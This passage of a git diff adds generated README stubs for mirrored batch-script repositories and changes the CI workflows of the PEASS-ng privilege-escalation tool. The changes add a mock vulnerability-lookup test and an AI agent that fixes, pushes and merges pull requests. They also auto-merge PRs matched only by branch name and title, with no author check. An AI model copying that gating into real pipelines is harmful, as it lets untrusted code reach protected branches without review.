Compendium](https://github.com/YourUsername/TheBatchCompendium) - a comprehensive collection of Windows batch scripts and tools. + +### Why This Repository? + +- ✅ **High Quality:** 50 stars indicate community trust +- ✅ **Active Project:** Well-maintained and documented +- ✅ **Batch Scripts:** Contains useful Windows batch files +- ✅ **Open Source:** Free to use and learn from + +## 🚀 Quick Start + +1. Visit the [original repository](https://github.com/ykeara/SteamVR-Dongle-Flash) +2. Read the project's documentation +3. Clone or download the scripts you need +4. Follow the repository's installation instructions + +## ⚠️ Important Notes + +- Always review batch scripts before running them +- Test scripts in a safe environment first +- Check for any prerequisites or dependencies +- Respect the repository's license terms + +## 📄 License + +This repository follows the license terms of the original project. Please check the [original repository](https://github.com/ykeara/SteamVR-Dongle-Flash) for specific license information. + +## 🤝 Contributing + +To contribute to the original project: +1. Visit [https://github.com/ykeara/SteamVR-Dongle-Flash](https://github.com/ykeara/SteamVR-Dongle-Flash) +2. Read their contributing guidelines +3. Fork, modify, and submit pull requests to their repository + +--- + +**Discovered:** 2026-10-07 +**Added to Collection:** Automated discovery system +**Last Updated:** 2026-10-07 09:20:17 UTC + +*This README was automatically generated by The Batch Compendium discovery system.* diff --git a/File & Disk Utilities/edinsuta--yt-dlp-batch/README.md b/File & Disk Utilities/edinsuta--yt-dlp-batch/README.md new file mode 100644 index 00000000..bea5caa4 --- /dev/null +++ b/File & Disk Utilities/edinsuta--yt-dlp-batch/README.md @@ -0,0 +1,66 @@ +# yt-dlp-batch + +**Owner:** [edinsuta](https://github.com/edinsuta) +**Repository:** [edinsuta/yt-dlp-batch](https://github.com/edinsuta/yt-dlp-batch) +**Stars:** 51 ⭐ +**Language:** Batchfile +**Category:** File & Disk Utilities + +## Description + +Simple batch files for simplifying basic usage of https://github.com/yt-dlp/yt-dlp (a fork of https://github.com/rg3/youtube-dl) Windows .exe releases + +## 🔗 Links + +- **GitHub Repository:** [https://github.com/edinsuta/yt-dlp-batch](https://github.com/edinsuta/yt-dlp-batch) +- **Owner Profile:** [https://github.com/edinsuta](https://github.com/edinsuta) + +## 📊 Repository Stats + +- **Stars:** 51 +- **Primary Language:** Batchfile +- **Category:** File & Disk Utilities + +## 📝 About This Repository + +This repository is part of [The Batch Compendium](https://github.com/YourUsername/TheBatchCompendium) - a comprehensive collection of Windows batch scripts and tools. + +### Why This Repository? + +- ✅ **High Quality:** 51 stars indicate community trust +- ✅ **Active Project:** Well-maintained and documented +- ✅ **Batch Scripts:** Contains useful Windows batch files +- ✅ **Open Source:** Free to use and learn from + +## 🚀 Quick Start + +1. Visit the [original repository](https://github.com/edinsuta/yt-dlp-batch) +2. Read the project's documentation +3. Clone or download the scripts you need +4. Follow the repository's installation instructions + +## ⚠️ Important Notes + +- Always review batch scripts before running them +- Test scripts in a safe environment first +- Check for any prerequisites or dependencies +- Respect the repository's license terms + +## 📄 License + +This repository follows the license terms of the original project. Please check the [original repository](https://github.com/edinsuta/yt-dlp-batch) for specific license information. + +## 🤝 Contributing + +To contribute to the original project: +1. Visit [https://github.com/edinsuta/yt-dlp-batch](https://github.com/edinsuta/yt-dlp-batch) +2. Read their contributing guidelines +3. Fork, modify, and submit pull requests to their repository + +--- + +**Discovered:** 2026-10-07 +**Added to Collection:** Automated discovery system +**Last Updated:** 2026-10-07 09:20:17 UTC + +*This README was automatically generated by The Batch Compendium discovery system.* diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/CI-master_tests.yml b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/CI-master_tests.yml index 38d0e39b..6b44f308 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/CI-master_tests.yml +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/CI-master_tests.yml @@ -156,10 +156,20 @@ jobs: path: winPEAS\winPEASexe\binaries\x86\Release\winPEASx86.exe - name: Upload winpeasany + id: upload_winpeasany + continue-on-error: true uses: actions/upload-artifact@v4 with: name: winPEASany.exe path: winPEAS\winPEASexe\binaries\Release\winPEASany.exe + + - name: Retry upload winpeasany + if: ${{ steps.upload_winpeasany.outcome == 'failure' }} + uses: actions/upload-artifact@v4 + with: + name: winPEASany.exe + path: winPEAS\winPEASexe\binaries\Release\winPEASany.exe + overwrite: true - name: Upload winpeasx64ofs uses: actions/upload-artifact@v4 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/PR-tests.yml b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/PR-tests.yml index 39f5d72b..09a627b2 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/PR-tests.yml +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/PR-tests.yml @@ -94,6 +94,196 @@ jobs: } else { Write-Error "winPEAS.exe not found at $exePath" } + + - name: Execute winPEAS online package vulnerability lookup with mock + shell: pwsh + run: | + $Configuration = "Release" + $exePath = "winPEAS/winPEASexe/winPEAS/bin/$Configuration/winPEAS.exe" + if (!(Test-Path $exePath)) { + Write-Error "winPEAS.exe not found at $exePath" + } + + $serverPath = Join-Path $env:RUNNER_TEMP "mock_host_checker.py" + $bodyPath = Join-Path $env:RUNNER_TEMP "host_checker_body.json" + $countPath = Join-Path $env:RUNNER_TEMP "host_checker_count.txt" + @" + from http.server import BaseHTTPRequestHandler, HTTPServer + import json + import sys + import threading + + body_path = sys.argv[1] + count_path = sys.argv[2] + + class Handler(BaseHTTPRequestHandler): + def do_POST(self): + length = int(self.headers.get("content-length", "0")) + body = self.rfile.read(length).decode("utf-8", "replace") + with open(body_path, "w", encoding="utf-8") as f: + f.write(body) + try: + with open(count_path, "r", encoding="utf-8") as f: + count = int((f.read() or "0").strip()) + except FileNotFoundError: + count = 0 + with open(count_path, "w", encoding="utf-8") as f: + f.write(str(count + 1)) + vulns = [] + for i in range(1, 56): + severity = "low" + if i % 10 == 0: + severity = "critical" + elif i % 10 == 1: + severity = "high" + elif i % 10 == 2: + severity = "medium" + vulns.append({ + "name": f"pkg{i}", + "version": f"1.{i}.0", + "manager": "windows-registry", + "severity": severity, + "vulns": [f"CVE-2026-{10000 + i}"], + }) + response = { + "malicious": False, + "results": [], + "package_vulnerabilities": { + "checked": 300, + "affected": 55, + "vulnerable_packages": vulns, + }, + } + data = json.dumps(response).encode("utf-8") + self.send_response(200) + self.send_header("Content-Type", "application/json") + self.send_header("Content-Length", str(len(data))) + self.end_headers() + self.wfile.write(data) + threading.Thread(target=self.server.shutdown, daemon=True).start() + + def do_GET(self): + if self.path == "/ready": + data = b"ready" + self.send_response(200) + self.send_header("Content-Type", "text/plain") + self.send_header("Content-Length", str(len(data))) + self.end_headers() + self.wfile.write(data) + return + + self.send_response(404) + self.end_headers() + + def log_message(self, fmt, *args): + pass + + HTTPServer(("127.0.0.1", 18768), Handler).serve_forever() + "@ | Set-Content -Path $serverPath -Encoding utf8 + + $pythonCandidates = @( + @{ FilePath = "python"; VersionArgs = @("--version"); ServerArgs = @($serverPath, $bodyPath, $countPath) }, + @{ FilePath = "python3"; VersionArgs = @("--version"); ServerArgs = @($serverPath, $bodyPath, $countPath) }, + @{ FilePath = "py"; VersionArgs = @("-3", "--version"); ServerArgs = @("-3", $serverPath, $bodyPath, $countPath) } + ) + $pythonCommand = $null + foreach ($candidate in $pythonCandidates) { + if (!(Get-Command $candidate.FilePath -ErrorAction SilentlyContinue)) { + continue + } + + & $candidate.FilePath @($candidate.VersionArgs) | Out-Null + if ($LASTEXITCODE -eq 0) { + $pythonCommand = $candidate + break + } + } + if (!$pythonCommand) { + Write-Error "No Python interpreter found to launch the mock host-checker server." + } + + $startInfo = [System.Diagnostics.ProcessStartInfo]::new() + $startInfo.FileName = $pythonCommand.FilePath + $startInfo.UseShellExecute = $false + $startInfo.RedirectStandardOutput = $true + $startInfo.RedirectStandardError = $true + foreach ($arg in $pythonCommand.ServerArgs) { + [void]$startInfo.ArgumentList.Add($arg) + } + $server = [System.Diagnostics.Process]::Start($startInfo) + try { + $serverReady = $false + $deadline = (Get-Date).AddSeconds(15) + while ((Get-Date) -lt $deadline) { + if ($server.HasExited) { + break + } + + try { + $readyResponse = Invoke-WebRequest -UseBasicParsing -TimeoutSec 1 -Uri "http://127.0.0.1:18768/ready" + if ($readyResponse.StatusCode -eq 200) { + $serverReady = $true + break + } + } catch { + } + + Start-Sleep -Milliseconds 250 + } + + if (!$serverReady) { + if (!$server.HasExited) { + $server.Kill() + [void]$server.WaitForExit(5000) + } + $stdout = $server.StandardOutput.ReadToEnd() + $stderr = $server.StandardError.ReadToEnd() + Write-Error "Mock host-checker server did not become ready before winPEAS execution. ExitCode=$($server.ExitCode)`nSTDOUT:`n$stdout`nSTDERR:`n$stderr" + } + + $env:HACKTRICKS_HOST_CHECKER_URL = "http://127.0.0.1:18768/api/host-checker" + $output = & $exePath applicationsinfo -vulnpackages notcolor 2>&1 | Out-String + + if ($output -notmatch "Online package vulnerabilities found: 55 vulnerable package\(s\), checked 300\.") { + Write-Error "The package vulnerability summary was not printed as expected.`n$output" + } + $vulnLines = ([regex]::Matches($output, "(?m)^\s+- pkg\d+ ")).Count + if ($vulnLines -ne 50) { + Write-Error "Expected 50 vulnerable package lines, got $vulnLines.`n$output" + } + $firstVulnLine = [regex]::Match($output, "(?m)^\s+- pkg\d+ .*$").Value + if ($firstVulnLine -notmatch "pkg10 .* \[Critical\]: CVE-2026-10010") { + Write-Error "Expected critical package vulnerabilities to be printed first, got: $firstVulnLine`n$output" + } + $criticalIndex = $output.IndexOf("pkg10") + $lowIndex = $output.IndexOf("- pkg3 ") + if ($criticalIndex -lt 0 -or $lowIndex -lt 0 -or $criticalIndex -gt $lowIndex) { + Write-Error "Expected critical packages to appear before low packages.`n$output" + } + if ($output -notmatch "\.\.\. 5 more vulnerable package\(s\) not shown\.") { + Write-Error "The hidden vulnerable package count was not printed.`n$output" + } + if ($output -match "package_vulnerabilities") { + Write-Error "Raw package_vulnerabilities JSON leaked into the rendered output.`n$output" + } + + $requestCount = Get-Content $countPath -Raw + if ([int]$requestCount.Trim() -ne 1) { + Write-Error "Expected exactly one host-checker request, got $requestCount" + } + $request = Get-Content $bodyPath -Raw | ConvertFrom-Json + if (!$request.hostname) { + Write-Error "The host-checker payload did not include hostname." + } + if (!$request.packages -or $request.packages.Count -lt 1) { + Write-Error "The host-checker payload did not include installed packages." + } + } finally { + if ($server -and !$server.HasExited) { + $server.Kill() + [void]$server.WaitForExit(5000) + } + } - name: Execute winPEAS networkinfo shell: pwsh @@ -134,6 +324,9 @@ jobs: - name: Run linPEAS module metadata tests run: python3 -m unittest linPEAS.tests.test_modules_metadata + - name: Run PEASS parsers tests + run: python3 -m unittest discover -s parsers/tests -p "test_*.py" + - name: Run linPEAS builder tests run: python3 -m unittest discover -s linPEAS/tests -p "test_*.py" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/chack-agent-pr-triage.yml b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/chack-agent-pr-triage.yml index 29334730..9033248d 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/chack-agent-pr-triage.yml +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/chack-agent-pr-triage.yml @@ -4,138 +4,27 @@ on: workflow_run: workflows: ["PR-tests"] types: [completed] + workflow_dispatch: + inputs: + pr_number: + description: Pull request number to review after an automated retest + required: true + type: string jobs: - auto_merge_windows_definition_bot_pr: - if: ${{ github.event.workflow_run.conclusion == 'success' }} - runs-on: ubuntu-latest - permissions: - actions: write - contents: write - pull-requests: write - - steps: - - name: Resolve and verify bot PR - id: bot_pr - env: - PR_NUMBER: ${{ github.event.workflow_run.pull_requests[0].number }} - HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }} - GH_REPO: ${{ github.repository }} - GH_TOKEN: ${{ github.token }} - run: | - title="chore(winpeas): update windows version vulnerability definitions" - branch="bot/update-windows-version-definitions" - expected_file="build_lists/windows_version_exploits.json" - - pr_number="${PR_NUMBER}" - if [ -z "$pr_number" ] && [ -n "$HEAD_BRANCH" ]; then - pr_number="$(gh pr list --state open --head "$HEAD_BRANCH" --base master --json number --jq '.[0].number')" - fi - if [ -z "$pr_number" ]; then - echo "No pull request found for this workflow_run; skipping." - echo "should_merge=false" >> "$GITHUB_OUTPUT" - exit 0 - fi - - pr_json="$(gh pr view "$pr_number" --json title,baseRefName,headRefName,author,isCrossRepository,files,mergeStateStatus)" - pr_title="$(jq -r .title <<<"$pr_json")" - base_ref="$(jq -r .baseRefName <<<"$pr_json")" - head_ref="$(jq -r .headRefName <<<"$pr_json")" - author="$(jq -r .author.login <<<"$pr_json")" - is_cross_repository="$(jq -r .isCrossRepository <<<"$pr_json")" - merge_state="$(jq -r .mergeStateStatus <<<"$pr_json")" - files="$(jq -r '.files[].path' <<<"$pr_json")" - file_count="$(jq -r '.files | length' <<<"$pr_json")" - - if [ "$pr_title" != "$title" ] || - [ "$base_ref" != "master" ] || - [ "$head_ref" != "$branch" ] || - [ "$is_cross_repository" != "false" ] || - [ "$file_count" != "1" ] || - [ "$files" != "$expected_file" ]; then - echo "PR #$pr_number is not the trusted windows definitions bot PR; skipping." - echo "should_merge=false" >> "$GITHUB_OUTPUT" - exit 0 - fi - - if [ "$author" != "app/github-actions" ] && - [ "$author" != "github-actions" ] && - [ "$author" != "github-actions[bot]" ]; then - echo "PR #$pr_number is from unexpected author $author; skipping." - echo "should_merge=false" >> "$GITHUB_OUTPUT" - exit 0 - fi - - for attempt in {1..12}; do - if [ "$merge_state" = "CLEAN" ] || [ "$merge_state" = "HAS_HOOKS" ]; then - break - fi - - echo "PR #$pr_number mergeStateStatus=$merge_state; waiting for GitHub to finish evaluating mergeability ($attempt/12)." - sleep 10 - merge_state="$(gh pr view "$pr_number" --json mergeStateStatus --jq .mergeStateStatus)" - done - - if [ "$merge_state" != "CLEAN" ] && [ "$merge_state" != "HAS_HOOKS" ]; then - echo "Refusing to merge PR #$pr_number because mergeStateStatus=$merge_state" - echo "should_merge=false" >> "$GITHUB_OUTPUT" - exit 0 - fi - - echo "should_merge=true" >> "$GITHUB_OUTPUT" - echo "pr_number=$pr_number" >> "$GITHUB_OUTPUT" - echo "title=$title" >> "$GITHUB_OUTPUT" - - - name: Merge trusted bot PR - if: ${{ steps.bot_pr.outputs.should_merge == 'true' }} - env: - GH_TOKEN: ${{ secrets.CHACK_AGENT_FIXER_TOKEN }} - PR_NUMBER: ${{ steps.bot_pr.outputs.pr_number }} - COMMIT_TITLE: ${{ steps.bot_pr.outputs.title }} - run: | - if [ -z "$GH_TOKEN" ]; then - echo "CHACK_AGENT_FIXER_TOKEN is required to merge this PR and dispatch the release workflow." - exit 1 - fi - - for attempt in {1..6}; do - if response="$(gh api \ - -X PUT \ - -H "Accept: application/vnd.github+json" \ - "/repos/${{ github.repository }}/pulls/${PR_NUMBER}/merge" \ - -f merge_method=squash \ - -f commit_title="$COMMIT_TITLE")"; then - merge_sha="$(jq -r '.sha // empty' <<<"$response")" - echo "Merged trusted windows definitions bot PR #$PR_NUMBER as $merge_sha." - - for wait_attempt in {1..12}; do - master_sha="$(gh api "/repos/${{ github.repository }}/git/ref/heads/master" --jq .object.sha)" - if [ -z "$merge_sha" ] || [ "$master_sha" = "$merge_sha" ]; then - break - fi - - echo "Waiting for master to point at merge commit $merge_sha ($wait_attempt/12)." - sleep 5 - done - - gh workflow run CI-master_tests.yml --ref master - echo "Dispatched CI-master_test to build and publish the PEASS release." - exit 0 - fi - - echo "Merge attempt $attempt failed for PR #$PR_NUMBER; retrying." - sleep 10 - done - - echo "Failed to merge trusted windows definitions bot PR #$PR_NUMBER after retries." - exit 1 + # NOTE: The windows-definitions bot PR is built, waited on and merged inline by + # update_windows_version_definitions.yml (it dispatches PR-tests with github.token, polls + # that run, then squash-merges with the CODEX_FIXER_TOKEN PAT so the push to master triggers + # the release). It is intentionally NOT handled here: a github.token-dispatched run does not + # emit a `workflow_run` event, so a job here could never reliably fire for it. chack_agent_triage: - if: ${{ github.event.workflow_run.conclusion == 'success' }} + if: ${{ github.event_name == 'workflow_dispatch' || github.event.workflow_run.conclusion == 'success' }} runs-on: ubuntu-latest permissions: contents: write pull-requests: write + actions: write env: CHACK_LOGS_HTTP_URL: ${{ secrets.CHACK_LOGS_HTTP_URL }} outputs: @@ -147,6 +36,13 @@ jobs: head_ref: ${{ steps.gate.outputs.head_ref }} base_sha: ${{ steps.gate.outputs.base_sha }} head_sha: ${{ steps.gate.outputs.head_sha }} + trusted_automerge: ${{ steps.gate.outputs.trusted_automerge }} + trusted_automerge_reason: ${{ steps.gate.outputs.trusted_automerge_reason }} + fix_pushed: ${{ steps.push_fix.outputs.pushed }} + retest_passed: ${{ steps.push_fix.outputs.retest_passed }} + retest_url: ${{ steps.push_fix.outputs.retest_url }} + retest_conclusion: ${{ steps.push_fix.outputs.retest_conclusion }} + validated_head_sha: ${{ steps.push_fix.outputs.validated_head_sha || steps.gate.outputs.head_sha }} decision: ${{ steps.parse.outputs.decision }} message: ${{ steps.parse.outputs.message }} @@ -154,7 +50,7 @@ jobs: - name: Resolve PR context id: gate env: - PR_NUMBER: ${{ github.event.workflow_run.pull_requests[0].number }} + PR_NUMBER: ${{ github.event.workflow_run.pull_requests[0].number || inputs.pr_number }} HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }} GH_REPO: ${{ github.repository }} GH_TOKEN: ${{ github.token }} @@ -184,6 +80,45 @@ jobs: head_ref="$(gh pr view "$pr_number" --json headRefName --jq .headRefName)" base_sha="$(gh pr view "$pr_number" --json baseRefOid --jq .baseRefOid)" head_sha="$(gh pr view "$pr_number" --json headRefOid --jq .headRefOid)" + trusted_automerge=false + trusted_automerge_reason="" + + if [ "$base_ref" = "master" ] || [ "$base_ref" = "main" ]; then + case "$head_ref:$pr_title" in + chack-agent/ci-master-fix-[0-9]*:"Fix CI-master_test failure (run #"*")") + trusted_automerge=true + trusted_automerge_reason="trusted CI-master Chack Agent fix PR" + ;; + autoimprover/linpeas/[0-9]*:"autoimprover: simplify linpeas checks") + trusted_automerge=true + trusted_automerge_reason="trusted HackTricks-Feed linPEAS autoimprover PR" + ;; + autoimprover/winpeas/[0-9]*:"autoimprover: simplify winpeas checks") + trusted_automerge=true + trusted_automerge_reason="trusted HackTricks-Feed winPEAS autoimprover PR" + ;; + wordlist-updater/linpeas/[0-9]*:"wordlist-updater: refresh linpeas vulnerability lists") + trusted_automerge=true + trusted_automerge_reason="trusted HackTricks-Feed linPEAS wordlist updater PR" + ;; + new-check/linpeas/[0-9]*-[0-9]*:"new-check(linpeas): add high-impact vulnerability detection") + trusted_automerge=true + trusted_automerge_reason="trusted HackTricks-Feed linPEAS new-check PR" + ;; + new-check/winpeas/[0-9]*-[0-9]*:"new-check(winpeas): add high-impact vulnerability detection") + trusted_automerge=true + trusted_automerge_reason="trusted HackTricks-Feed winPEAS new-check PR" + ;; + peass_linpeas_*:"[LINPEAS] Add privilege escalation check: "*) + trusted_automerge=true + trusted_automerge_reason="trusted HackTricks-Feed news-derived linPEAS PR" + ;; + peass_winpeas_*:"[WINPEAS] Add privilege escalation check: "*) + trusted_automerge=true + trusted_automerge_reason="trusted HackTricks-Feed news-derived winPEAS PR" + ;; + esac + fi echo "should_run=true" >> "$GITHUB_OUTPUT" echo "pr_number=$pr_number" >> "$GITHUB_OUTPUT" @@ -197,36 +132,40 @@ jobs: echo "head_ref=$head_ref" >> "$GITHUB_OUTPUT" echo "base_sha=$base_sha" >> "$GITHUB_OUTPUT" echo "head_sha=$head_sha" >> "$GITHUB_OUTPUT" + echo "trusted_automerge=$trusted_automerge" >> "$GITHUB_OUTPUT" + echo "trusted_automerge_reason=$trusted_automerge_reason" >> "$GITHUB_OUTPUT" - - name: Checkout PR merge ref + - name: Checkout PR head uses: actions/checkout@v5 with: - ref: refs/pull/${{ steps.gate.outputs.pr_number }}/merge - if: ${{ steps.gate.outputs.should_run == 'true' }} + ref: ${{ steps.gate.outputs.head_sha }} + fetch-depth: 0 + if: ${{ steps.gate.outputs.should_run == 'true' && steps.gate.outputs.trusted_automerge != 'true' }} - name: Pre-fetch base and head refs - if: ${{ steps.gate.outputs.should_run == 'true' }} + if: ${{ steps.gate.outputs.should_run == 'true' && steps.gate.outputs.trusted_automerge != 'true' }} run: | git fetch --no-tags origin \ ${{ steps.gate.outputs.base_ref }} \ +refs/pull/${{ steps.gate.outputs.pr_number }}/head - name: Set up Node.js for Codex - if: ${{ steps.gate.outputs.should_run == 'true' }} + if: ${{ steps.gate.outputs.should_run == 'true' && steps.gate.outputs.trusted_automerge != 'true' }} uses: actions/setup-node@v5 with: node-version: "20" - name: Install Codex CLI - if: ${{ steps.gate.outputs.should_run == 'true' }} + if: ${{ steps.gate.outputs.should_run == 'true' && steps.gate.outputs.trusted_automerge != 'true' }} run: | npm install -g @openai/codex codex --version - name: Run Chack Agent id: run_chack - if: ${{ steps.gate.outputs.should_run == 'true' }} - uses: carlospolop/chack-agent@master + if: ${{ steps.gate.outputs.should_run == 'true' && steps.gate.outputs.trusted_automerge != 'true' }} + # Pin the action so dependency changes on its default branch cannot break PR triage. + uses: carlospolop/chack-agent@9fd38a0657ae7060cc9bb07329c0bde71d7ba0d9 with: provider: codex model_primary: BEST_QUALITY @@ -234,10 +173,12 @@ jobs: main_action: peass-ng-pr-traige sub_action: Chack-Agent PR Triage system_prompt: | - You are Chack Agent, an elite PR reviewer for PEASS-ng. - Be conservative: merge only if changes are simple, safe, and valuable accoding to the uers give guidelines. - If in doubt, comment with clear questions or concerns. - Remember taht you are an autonomouts agent, use the exec tool to run the needed commands to list, read, analyze, modify, test... + You are Chack Agent, an elite PR reviewer and fixer for PEASS-ng. + Inspect the PR carefully. When you find a problem that you can fix confidently, + implement the smallest safe correction in the working tree and retest it. Do not + merely describe fixable problems. Leave edits uncommitted because the workflow will + commit and push them. Choose comment only when you are genuinely unsure how to make + the change correct and working, or when the PR is fundamentally a bad idea to merge. tools_config_json: "{\"exec_enabled\": true}" session_config_json: "{\"long_term_memory_enabled\": false}" agent_config_json: "{\"self_critique_enabled\": false, \"require_task_steps_manager_init_first\": true}" @@ -245,14 +186,22 @@ jobs: user_prompt: | You are reviewing PR #${{ steps.gate.outputs.pr_number }} for ${{ github.repository }}. - Decide whether to merge or comment. Merge only if all of the following are true: + Review the changes, proactively fix any issue you can resolve safely, and run the + relevant focused tests. Merge only if all of the following are true: - Changes are simple and safe (no DoS, no long operations, no backdoors). - Changes follow common PEASS syntax and style without breaking anything and add useful checks or value. - Changes simplify code or add new useful checks without breaking anything. - If you don't have any doubts, and all the previous conditions are met, decide to merge. - If you have serious doubts, choose "comment" and include your doubts or questions. - If you decide to merge, include a short rationale. + If you find a concrete defect, false positive, performance risk, missing test, or + similar problem and know how to correct it, edit the files, run the relevant tests, + and leave the corrected working tree ready for the workflow to commit. Do not commit + or push it yourself. Return "merge" when either the original PR or your corrected + working tree is ready. The workflow will push edits and let the full PR tests rerun + before a later review can merge them. + + Return "comment" only if you cannot confidently fix or validate the problem, need a + human decision to determine the correct behavior, or believe the PR should not be + merged at all. Include the precise blocker in that case. Pull request title and body: ---- @@ -267,9 +216,75 @@ jobs: codex_access_token: ${{ secrets.CODEX_ACCESS_TOKEN }} openai_api_key: ${{ secrets.OPENAI_API_KEY }} + - name: Commit and push Chack Agent fixes + id: push_fix + if: ${{ steps.gate.outputs.should_run == 'true' && steps.gate.outputs.trusted_automerge != 'true' }} + env: + TARGET_BRANCH: ${{ steps.gate.outputs.head_ref }} + PR_NUMBER: ${{ steps.gate.outputs.pr_number }} + ORIGINAL_HEAD_SHA: ${{ steps.gate.outputs.head_sha }} + PUSH_TOKEN: ${{ secrets.CODEX_FIXER_TOKEN }} + WORKFLOW_TOKEN: ${{ github.token }} + run: | + git config user.name "chack-agent" + git config user.email "chack-agent@users.noreply.github.com" + + if [ -n "$(git status --porcelain)" ]; then + git add -A + + # Never commit generated linPEAS artifacts refreshed by local tests. + git reset -- build_lists/regexes.yaml linpeas.sh linpeas_fat.sh || true + while IFS= read -r generated_file; do + git reset -- "$generated_file" || true + done < <(git diff --name-only --cached | grep -E '(^|/)(linpeas\.sh|linpeas_fat\.sh)$' || true) + + git diff --cached --check + if ! git diff --cached --quiet; then + git commit -m "Apply Chack Agent review fixes for PR #${PR_NUMBER}" + fi + fi + + if [ "$(git rev-parse HEAD)" = "$ORIGINAL_HEAD_SHA" ]; then + echo "pushed=false" >> "$GITHUB_OUTPUT" + exit 0 + fi + + if [ -z "$PUSH_TOKEN" ]; then + echo "CODEX_FIXER_TOKEN is required to push Chack Agent fixes." + exit 1 + fi + + git remote set-url origin "https://x-access-token:${PUSH_TOKEN}@github.com/${{ github.repository }}.git" + git push origin "HEAD:${TARGET_BRANCH}" + echo "validated_head_sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" + + retest_url="$(GH_TOKEN="$WORKFLOW_TOKEN" gh workflow run PR-tests.yml --ref "$TARGET_BRANCH")" + retest_id="${retest_url##*/}" + echo "retest_url=$retest_url" >> "$GITHUB_OUTPUT" + + retest_conclusion="timed_out" + for attempt in $(seq 1 180); do + run_state="$(GH_TOKEN="$WORKFLOW_TOKEN" gh run view "$retest_id" --json status,conclusion --jq '[.status, (.conclusion // "")] | @tsv' 2>/dev/null || true)" + status="${run_state%%$'\t'*}" + conclusion="${run_state#*$'\t'}" + if [ "$status" = "completed" ]; then + retest_conclusion="$conclusion" + break + fi + sleep 15 + done + + echo "pushed=true" >> "$GITHUB_OUTPUT" + echo "retest_conclusion=$retest_conclusion" >> "$GITHUB_OUTPUT" + if [ "$retest_conclusion" = "success" ]; then + echo "retest_passed=true" >> "$GITHUB_OUTPUT" + else + echo "retest_passed=false" >> "$GITHUB_OUTPUT" + fi + - name: Parse Chack Agent decision id: parse - if: ${{ steps.gate.outputs.should_run == 'true' }} + if: ${{ steps.gate.outputs.should_run == 'true' && steps.gate.outputs.trusted_automerge != 'true' }} env: CHACK_MESSAGE: ${{ steps.run_chack.outputs.final-message }} run: | @@ -299,26 +314,33 @@ jobs: merge_or_comment: runs-on: ubuntu-latest needs: chack_agent_triage - if: ${{ github.event.workflow_run.conclusion == 'success' && needs.chack_agent_triage.outputs.should_run == 'true' && needs.chack_agent_triage.outputs.decision != '' }} + if: ${{ (github.event_name == 'workflow_dispatch' || github.event.workflow_run.conclusion == 'success') && needs.chack_agent_triage.outputs.should_run == 'true' && (needs.chack_agent_triage.outputs.trusted_automerge == 'true' || needs.chack_agent_triage.outputs.decision != '') }} permissions: contents: write pull-requests: write steps: - name: Merge PR when approved - if: ${{ needs.chack_agent_triage.outputs.decision == 'merge' }} + if: ${{ (needs.chack_agent_triage.outputs.fix_pushed != 'true' || needs.chack_agent_triage.outputs.retest_passed == 'true') && (needs.chack_agent_triage.outputs.trusted_automerge == 'true' || needs.chack_agent_triage.outputs.decision == 'merge') }} env: - GH_TOKEN: ${{ github.token }} + GH_TOKEN: ${{ secrets.CODEX_FIXER_TOKEN || github.token }} PR_NUMBER: ${{ needs.chack_agent_triage.outputs.pr_number }} + TRUSTED_AUTOMERGE: ${{ needs.chack_agent_triage.outputs.trusted_automerge }} + TRUSTED_AUTOMERGE_REASON: ${{ needs.chack_agent_triage.outputs.trusted_automerge_reason }} + VALIDATED_HEAD_SHA: ${{ needs.chack_agent_triage.outputs.validated_head_sha }} run: | + if [ "$TRUSTED_AUTOMERGE" = "true" ]; then + echo "Auto-merging trusted generated PR #${PR_NUMBER}: ${TRUSTED_AUTOMERGE_REASON}" + fi gh api \ -X PUT \ -H "Accept: application/vnd.github+json" \ /repos/${{ github.repository }}/pulls/${PR_NUMBER}/merge \ -f merge_method=squash \ - -f commit_title="Auto-merge PR #${PR_NUMBER} (Chack Agent)" + -f commit_title="Auto-merge PR #${PR_NUMBER} (Chack Agent)" \ + -f sha="$VALIDATED_HEAD_SHA" - name: Comment with doubts - if: ${{ needs.chack_agent_triage.outputs.decision == 'comment' }} + if: ${{ needs.chack_agent_triage.outputs.fix_pushed != 'true' && needs.chack_agent_triage.outputs.trusted_automerge != 'true' && needs.chack_agent_triage.outputs.decision == 'comment' }} uses: actions/github-script@v7 env: PR_NUMBER: ${{ needs.chack_agent_triage.outputs.pr_number }} @@ -332,3 +354,21 @@ jobs: issue_number: Number(process.env.PR_NUMBER), body: process.env.CHACK_MESSAGE, }); + + - name: Comment when a Chack fix does not pass the full retest + if: ${{ needs.chack_agent_triage.outputs.fix_pushed == 'true' && needs.chack_agent_triage.outputs.retest_passed != 'true' }} + uses: actions/github-script@v7 + env: + PR_NUMBER: ${{ needs.chack_agent_triage.outputs.pr_number }} + RETEST_URL: ${{ needs.chack_agent_triage.outputs.retest_url }} + RETEST_CONCLUSION: ${{ needs.chack_agent_triage.outputs.retest_conclusion }} + with: + github-token: ${{ github.token }} + script: | + const body = `Chack Agent applied a fix, but the full PR retest finished with \`${process.env.RETEST_CONCLUSION}\`. I could not validate this fix for merge.\n\nRetest: ${process.env.RETEST_URL}`; + await github.rest.issues.createComment({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: Number(process.env.PR_NUMBER), + body, + }); diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/ci-master-failure-chack-agent-pr.yml b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/ci-master-failure-chack-agent-pr.yml index b9bf7bc4..ab471dc7 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/.github/workflows/ci-master-failure-chack-agent-pr.yml +++ b/Offensive Security & Penetration 